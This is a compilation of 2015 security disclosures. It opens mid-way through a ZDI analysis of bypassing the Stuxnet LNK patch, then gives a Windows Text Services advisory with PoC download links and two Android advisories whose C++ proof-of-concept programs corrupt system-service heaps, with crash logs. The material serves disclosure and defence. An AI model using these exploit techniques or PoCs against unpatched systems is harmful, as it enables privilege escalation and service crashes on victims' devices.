the fix for Stuxnet, but it looks odd. Let’s look at the context around it. Immediately before this block of code, there is an unchanged block that takes user-provided data and formats it -- using commas. Let’s take a look at that: Figure 4 Unchanged adjacent code If we put this block of assembly language into C++, it would look something like this: StringCchPrintfW(wszWorkingBuffer, 554u, L"%s,%d,%s", &wszModuleFullPath, iconID, &wszDisplayName); With this context, the second change looks to be part of the Stuxnet fix after all. We are forcing the icon ID to be something other than 0, but we then put it into a comma delimited string. Since we’re then erroring out if the path contains a comma, that looks like a fix for embedding a fake icon ID inside of the path, which would imply that the icon ID will be parsed out of this constructed string later. So, the obvious work-around has been closed off; we cannot spoof the formatted string to insert our own icon ID. The next thing that happens after we have formatted and checked this string is that it gets passed to ControlExtractIcon_CreateInstance(). This function creates a CCtrlExtIconBase object, and passes it the composite string as the first argument. Let’s look at the constructor. Figure 5 Following the string through the constructor (click to expand in new window) If we look at what happens to that initial argument, we see it ends up (again, translating into C++) being used like this: StringCchCopyW(this->wszIconString, 260u, pwzIconString); The buffer we have just created as 554 wide characters in length is in fact being truncated and put into a 260 wide character buffer. Not only that, but the string contains two pieces of information we know get used in icon loading – the path to the DLL and the icon ID. Where does that information come from? It comes from a function called CControlPanelFolder::GetModuleMapped(): Figure 6 Call to CControlPanelFolder::GetModuleMapped (click to expand in new window) If we put this into C++, it would look something like this: retVal = CControlPanelFolder::GetModuleMapped(pControl, false, &wszModuleFullPath, 260, &iconID, &wszModuleDisplayName, 260); There are two parts of this function that are important for us. As we can see from the code above, the caller specifies the size of the buffers that data is copied in to, and in this case, the buffers are sized for 260 wide characters. Because this data is actually extracted from the .LNK file that we control, this means we can provide a path string that is up to 260 wide characters long, and we know that there is a truncation bug that will use our data. The second issue is actually inside of CControlPanelFolder::GetModuleMapped(), and will be one of the last hurdles to exploitation. If the module path specified does not actually exist, the path will be combined with the System (or SystemWoW64) directory. Looking at that code as C++, it looks something like this: if ( !PathFileExistsW(pwzModuleFullPath) ) { if ( fDoNotUseWoW || !CControlPanelFolder::_IsWowCPL(pControl) ) GetSystemDirectoryW(&wzSystemDir, 260u); else GetSystemWow64DirectoryW(&wzSystemDir, 260u); if ( PathCombineW(&wzBuffer, &wzSystemDir, pwzModuleFileName) ) retVal = StringCchCopyW(pwzModuleFullPath, cwchModuleFullPath, &wzBuffer); else retVal = E_FAIL; } This doesn’t appear to be a problem (since we do need to actually load our planted DLL to get code running), but as we’ll see later, this is actually an issue in exploitation. To see why, we need to look at where our constructed and truncated string is used. What happens to that data? To see that, let’s look at what the actual call stack would look like when the exploit fired: Figure 7 Call stack on the DLL load for an icon Since we know that our constructed string is stored as a member variable in CCtrlExtIconBase, let’s go ahead and look at that call to _GetIconLocationW(). Figure 8 Parsing the constructed string in CCtrlExtIconBase ::_GetIconLocationW If we look at the code above, we can see that we’re searching for the comma separator (the buffer itself is one we’ve copied for the caller). If we find it, we null it out, and then derive the icon ID by calling StrToInt(). Now, we know from looking at the original fix that our icon ID will be forced to be -1, but will then be truncated into a 260 wide character buffer. Since the truncation includes the null, we’ll have 259 wide characters to work with, one of which will be a comma. If we provided a 257 character path, the string that we’d parse here is “<our path>,-“, with everything after the minus sign being truncated. And StrToIntW(L”-“) is 0. We have bypassed the check by converting the negative value back into our desired icon ID of 0. (In fact, we can skip the check entirely and just pass in a small negative icon ID to begin with.) Just putting in the overly long path won’t work, however; there is a problem. To see it, we need to go further down the call chain and see where our load fails. We know from the stack trace above that our call to LoadLibrary() will come from CPL_LoadCPLModule(). The problem is that CPL_LoadCPLModule() is also going to look for a manifest file. That, in and of itself, is not a problem, as it doesn’t require the manifest. The problem lies in how it looks for the file: Figure 9 Constructing the manifest file path If we put this into C++, it would look something like this: if ( StringCchPrintfW(&wzManifestPath, 260u, L"%s.manifest", pwzModuleFullPath) < 0 ) { return NULL; } So, if our path is too long to have a “.manifest” appended (the 260 character limit we’ve been seeing throughout this is MAX_PATH), we’re not even going to try to load the DLL. As we’ve already seen, we need to take the path to 257 characters in order to force the icon ID to 0, and we need the icon ID to be 0 to even get to CPL_LoadCPLModule(). We need one more issue. To find it, we need to work back up the stack trace, and see if we can do anything about that path name passed to CPL_LoadCPLModule(). When we do that, we can see that the string is actually extracted in the function CPL_ParseCommandLine(). CPL_ParseCommandLine uses a function called CPL_ParseToSeparator() to pull the component elements out. If we look inside CPL_ParseToSeparator(), we can see that it has two options for valid separators: Figure 10 A look inside CPL_ParseToSeparator There is a flag which determines if only commas will be considered to be separators, or if unescaped spaces will as well. When we look at the first call to CPL_ParseToSeparator() (which extracts the module path), we can see that it has the flag set to consider spaces as valid separators: Figure 11 Initial call to CPL_ParseSeparator At this point, we have everything we need to get an exploit running. We’ll need to construct a malicious .LNK file which has a link path of exactly 257 characters, but uses embedded unescaped spaces to cause the extraction to truncate in CPL_ParseToSeparator(). That allows us to have a short enough path for the concatenation of the “.manifest” to the filename in CPL_LoadCPLModule() to work. That brings us back to our earlier note that CControlPanelFolder::GetModuleMapped() will check to see if the full module path (including embedded spaces) exists. So we’ll need to have two files, one with the embedded spaces (to pass the file existence check), and one without (to actually be loaded). Unlike a case of memory corruption, this attack doesn’t need to worry about low-level operating system mitigations. This bug has its roots in the decades-old decision to load icons by loading executable modules into the process, and because of that, there is no need to worry about any other mitigations. The Windows operating system itself will handle resolving ASLR and loading the attack into executable memory. And because of that, the attack is stable, reliable, and works cleanly across Windows versions. Microsoft has gone to a great deal of effort to make exploitation of memory corruption bugs more difficult. This is a classic example of the Defender’s Dilemma -- the defender must be strong everywhere, while the attacker needs to find only one mistake. In a future Security Briefing, ZDI will examine MS15-020, the patch that was released today to address CVE-2015-0096, and look at how Microsoft made changes to try to prevent this attack from coming back a third time. Source

##################################################################################### Application: Microsoft Windows Text Services memory corruption. Platforms: Windows Versions: list. Microsoft: MS15-020 Secunia: SA63220 {PRL}: 2015-03 Author: Francis Provencher (Protek Research Lab’s) Website: http://www.protekresearchlab.com/ Twitter: @protekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== Microsoft Corporation is an American multinational corporation headquartered in Redmond, Washington, that develops, manufactures, licenses, supports and sells computer software, consumer electronics and personal computers and services. Its best known software products are the Microsoft Windowsline of operating systems, Microsoft Office office suite, and Internet Explorer web browser. Its flagship hardware products are the Xbox game consoles and the Microsoft Surface tablet lineup. It is the world’s largest software maker measured by revenues.[5]It is also one of the world’s most valuable companies.[6] ([url]http://en.wikipedia.org/wiki/Microsoft[/url]) ##################################################################################### ============================ 2) Report Timeline ============================ 2015-02-08: Francis Provencher from Protek Research Lab’s found the issue; 2015-03-04: MSRC confirmed the issue; 2015-03-10: Microsoft fixed the issue; 2015-03-10: Microsoft release a Patch for this issue. ##################################################################################### ============================ 3) Technical details ============================ An unspecified error in Windows Text Services can be exploited to cause memory corruption.. ##################################################################################### =========== 4) POC =========== This file need to be open in wordpad. [url]http://protekresearchlab.com/exploits/PRL-2015-03.rar[/url] [url]http://www.exploit-db.com/sploits/36336.rar[/url] ############################################################################### Search for: Source

############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1474 # Product: Android # Vendor: Google # Subject: Integer overflow leading to heap corruption while unflattening GraphicBuffer # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # ############################################################################# Introduction ------------ Multiple integer overflows in the GraphicBuffer::unflatten function in platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of (1) file descriptors or (2) integer values. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18076253 There are two patches for this vulnerabilities, the first patch for this issue is uncomplete. [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 Description ----------- The vulnerable code is as follows. 28 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28> native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* native_handle_create <http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system> (int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>, int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>) 29 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29> { 30 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30> native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h = malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>( 31 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31> sizeof(native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) + sizeof(int)*(numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> ));---------------> integer overflow here, numFds and numInts can be controlled by normal Apps. 32 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32> 33 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33> h->version <http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof( native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>); 34 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34> h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system> = numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>; 35 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35> h->numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> = numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> ; 36 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36> return h; 37 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37> } 244 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244> status_t <http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> GraphicBuffer <http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>:: unflatten <http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>( 245 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245> void const*& buffer <http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size <http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const *& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& count <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>) { … 271 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271> native_handle <http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>* h = native_handle_create <http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks> (numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> , numInts <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> ); 272 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272> memcpy <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> *sizeof(int)); ---------------->heap corruption hear. 273 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273> memcpy <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>, &buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8], numInts <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> *sizeof(int)); …. Attack vector ------------- A normal Apps can corrupt the heap in surfaceflinger and system_server by this vulnerabilities. the PoC of corrupting the heap of surfaceflinger is as follows #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <utils/Log.h> #include <binder/IPCThreadState.h> #include <binder/ProcessState.h> #include <binder/IServiceManager.h> #include <gui/ISurfaceComposer.h> #include <gui/BufferQueue.h> #include <gui/CpuConsumer.h> #include <unistd.h> using namespace android; class MyBufferQueue:public BufferQueue{ public: status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags){ status_t ret = BnGraphicBufferProducer::onTransact(code,data,reply,flags); if(code==1){ int *data = (int *)reply->data(); int *numFDs = data+9; *numFDs=0xfffffffd; } return ret; } }; int main() { sp<ProcessState> proc(ProcessState::self()); proc->startThreadPool(); const String16 name("SurfaceFlinger"); sp<ISurfaceComposer> composer; getService(name, &composer); uint32_t w, h; PixelFormat f; sp<IBinder> display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain)); sp<MyBufferQueue> bufferQueue = new MyBufferQueue(); sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1); status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL); if (err != NO_ERROR) { fprintf(stderr, "screen capture failed: %s\n", strerror(-err)); exit(0); } printf("screen capture success\n"); IPCThreadState::self()->joinThreadPool(); return 0; } How to corrupt the heap of system_server put a malformated GraphicBuffer in a Bundle, and then send it to system_server via setApplicationRestrictions. it’s the same way as CVE-2014-7911. The backtrace of crash surfaceflinger 55 --------- beginning of crash 56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xb1000000 in tid 15504 (surfaceflinger) 57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 58 I/DEBUG ( 180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' 59 I/DEBUG ( 180): Revision: '11' 60 I/DEBUG ( 180): ABI: 'arm' 61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>> /system/bin/surfaceflinger <<< 62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xb1000000 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504 64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r3 00000004 65 E/DEBUG ( 180): AM write failure (32 / Broken pipe) 66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r7 00000050 67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fp b081f070 68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pc b6eb2e30 cpsr a00f0030 69 I/DEBUG ( 180): 70 I/DEBUG ( 180): backtrace: 71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so (__memcpy_base+91) ------------------------->memcpy cause heap corruption 72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so (android::GraphicBuffer::unflatten(void const*&, unsigned int&, int const*&, unsigned int&)+98) 73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so 74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so (android::Parcel::read(android::Parcel::FlattenableHelperInterface&) const+176) 75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so 76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so (android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226) 77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so (android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*, ANativeWindowBuffer**)+32) 78 I/DEBUG ( 180): #07 pc 000175cf /system/lib/libsurfaceflinger.so 79 I/DEBUG ( 180): #08 pc 0001b80f /system/lib/libsurfaceflinger.so 80 I/DEBUG ( 180): #09 pc 000158f5 /system/lib/libsurfaceflinger.so 81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so (android::Looper::pollInner(int)+410) 82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so (android::Looper::pollOnce(int, int*, int*, void**)+92) 83 I/DEBUG ( 180): #12 pc 00015ad1 /system/lib/libsurfaceflinger.so 84 I/DEBUG ( 180): #13 pc 0001675d /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8) 85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger 86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so (__libc_init+44) 87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger 88 I/DEBUG ( 180): 89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox (SYSTEM_TOMBSTONE) 91 I/ServiceManager( 176): service 'SurfaceFlinger' died 92 I/ServiceManager( 176): service 'display.qservice' died Milestones ---------- Date Comment Sender 20/10/2014 Initial Report of CVE-2015-1474 Qihoo 360 22/10/2014 Forwarded to the dedicated Team by Google Google 04/11/2014 Classified it as a high severity vulnerability Google 06/11/2014 Get the Android Bug ID 18076253 Google 10/2/2015 Notify it’s fixed and send the CVE-ID Google 16/2/2015 Tell Google the first patch was uncomplete Qihoo 360 18/2/2015 Submitted the second patch Google 11/3/2015 Lollipop 5.1 was released, disclose it Qihoo 360 References ---------- [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 [3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474 [4] http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28 Source

############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1530 # Product: Android # Vendor: Google # Subject: An integer overflow in Android media could be exploited to get media_server permission # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # ############################################################################# Introduction ------------ An Integer overflow in the BnAudioPolicyService::onTransact function in frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av <http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/>/ IAudioPolicyService.cpp <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp> in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of count value. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18226810 https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160 Description ----------- The vulnerable code is as follows. http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661 case QUERY_DEFAULT_PRE_PROCESSING <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#QUERY_DEFAULT_PRE_PROCESSING>: { 656 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#656> CHECK_INTERFACE <http://androidxref.com/4.4.4_r1/s?defs=CHECK_INTERFACE&project=frameworks>( IAudioPolicyService <http://androidxref.com/4.4.4_r1/s?defs=IAudioPolicyService&project=frameworks> , data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>); 657 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#657> int audioSession <http://androidxref.com/4.4.4_r1/s?refs=audioSession&project=frameworks> = data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>. readInt32 <http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>(); 658 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#658> uint32_t <http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> count <http://androidxref.com/4.4.4_r1/s?refs=count&project=frameworks> = data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.readInt32 <http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>(); 659 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#659> uint32_t <http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> retCount <http://androidxref.com/4.4.4_r1/s?refs=retCount&project=frameworks> = count <http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks>; 660 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#660> effect_descriptor_t <http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks> *descriptors <http://androidxref.com/4.4.4_r1/s?refs=descriptors&project=frameworks> = 661 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661> (effect_descriptor_t <http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks> *)new char[count <http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks> * sizeof( effect_descriptor_t <http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks> )];--------------------->count can be set to any value by binder client, which can cause integer overflow and when write to this buffer, heap corruption will happen. 662 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#662> status_t <http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> status <http://androidxref.com/4.4.4_r1/s?refs=status&project=frameworks> = queryDefaultPreProcessing <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#queryDefaultPreProcessing> (audioSession <http://androidxref.com/4.4.4_r1/s?defs=audioSession&project=frameworks>, descriptors <http://androidxref.com/4.4.4_r1/s?defs=descriptors&project=frameworks>, & retCount <http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>); 663 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#663> reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>-> writeInt32 <http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>( status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks>); 664 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#664> if (status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> != NO_ERROR <http://androidxref.com/4.4.4_r1/s?defs=NO_ERROR&project=frameworks> && status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> != NO_MEMORY <http://androidxref.com/4.4.4_r1/s?defs=NO_MEMORY&project=frameworks>) { 665 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#665> retCount <http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks> = 0; 666 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#666> } 667 <http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#667> reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>-> writeInt32 <http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>( retCount <http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>); Attack vector ------------- A normal Apps can corrupt the heap in mediaserver by this vulnerabilities. the PoC of corrupting the heap is as follows #include <binder/Parcel.h> #include <binder/ProcessState.h> #include <binder/IServiceManager.h> #include <media/IAudioPolicyService.h> #include <binder/TextOutput.h> #include <system/audio.h> #include <sys/stat.h> #include <fcntl.h> using namespace android; int main(__attribute__((unused)) int argc, __attribute__((unused)) char* const argv[]) { sp<IServiceManager> sm = defaultServiceManager(); sp<IBinder> service = sm->checkService(String16("media.audio_policy")); sp<IAudioPolicyService> iPolicy = IAudioPolicyService::asInterface(service); effect_descriptor_t descriptors; uint32_t count=0xfffffff; iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1); iPolicy->queryDefaultPreProcessing(1,&descriptors,&count); return 0; } the crash Log is as follows: --------- beginning of crash F/libc ( 184): new[] failed to allocate 3221225300 bytes F/libc ( 184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1) I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' I/DEBUG ( 180): Revision: '10' I/DEBUG ( 180): ABI: 'arm' I/DEBUG ( 180): pid: 184, tid: 654, name: Binder_1 >>> /system/bin/mediaserver <<< I/DEBUG ( 180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- W/NativeCrashListener( 613): Couldn't find ProcessRecord for pid 184 I/DEBUG ( 180): Abort message: 'new[] failed to allocate 3221225300 bytes' E/DEBUG ( 180): AM write failure (32 / Broken pipe) I/DEBUG ( 180): r0 00000000 r1 0000028e r2 00000006 r3 00000000 I/DEBUG ( 180): r4 b46ffdb8 r5 00000006 r6 0000000c r7 0000010c I/DEBUG ( 180): r8 0fffffff r9 000003f5 sl 000000b8 fp 00000001 I/DEBUG ( 180): ip 0000028e sp b46ffab8 lr b6f44941 pc b6f6676c cpsr 60070010 I/DEBUG ( 180): I/DEBUG ( 180): backtrace: I/DEBUG ( 180): #00 pc 0003576c /system/lib/libc.so (tgkill+12) I/DEBUG ( 180): #01 pc 0001393d /system/lib/libc.so (pthread_kill+52) I/DEBUG ( 180): #02 pc 000143e7 /system/lib/libc.so (raise+10) I/DEBUG ( 180): #03 pc 00010e8d /system/lib/libc.so (__libc_android_abort+36) I/DEBUG ( 180): #04 pc 0000f954 /system/lib/libc.so (abort+4) I/DEBUG ( 180): #05 pc 00012225 /system/lib/libc.so (__libc_fatal+16) I/DEBUG ( 180): #06 pc 000128fd /system/lib/libc.so (operator new[](unsigned int)+16) I/DEBUG ( 180): #07 pc 00056367 /system/lib/libmedia.so (android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+1158) I/DEBUG ( 180): #08 pc 000167a5 /system/lib/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+60) I/DEBUG ( 180): #09 pc 0001aea3 /system/lib/libbinder.so (android::IPCThreadState::executeCommand(int)+562) I/DEBUG ( 180): #10 pc 0001afbf /system/lib/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+38) I/DEBUG ( 180): #11 pc 0001b001 /system/lib/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+48) I/DEBUG ( 180): #12 pc 0001ee93 /system/lib/libbinder.so I/DEBUG ( 180): #13 pc 0000e97d /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112) I/DEBUG ( 180): #14 pc 0000e505 /system/lib/libutils.so I/DEBUG ( 180): #15 pc 00013133 /system/lib/libc.so (__pthread_start(void*)+30) I/DEBUG ( 180): #16 pc 0001120b /system/lib/libc.so (__start_thread+6) I/DEBUG ( 180): I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_00 I/BootReceiver( 613): Copying /data/tombstones/tombstone_00 to DropBox (SYSTEM_TOMBSTONE) Milestones ---------- Date Comment Sender 03/11/2014 Initial Report of CVE-2015-1530 Qihoo 08/11/2014 have validated and have created a suitable fix internally Google 11/11/2014 Sent the Android Bug ID 18226810 Google 10/2/2015 Sent the CVE-ID Google 11/3/2015 Lollipop 5.1 was released, disclose it Qihoo References ---------- [1]https: //android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160 [2] http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661 Source

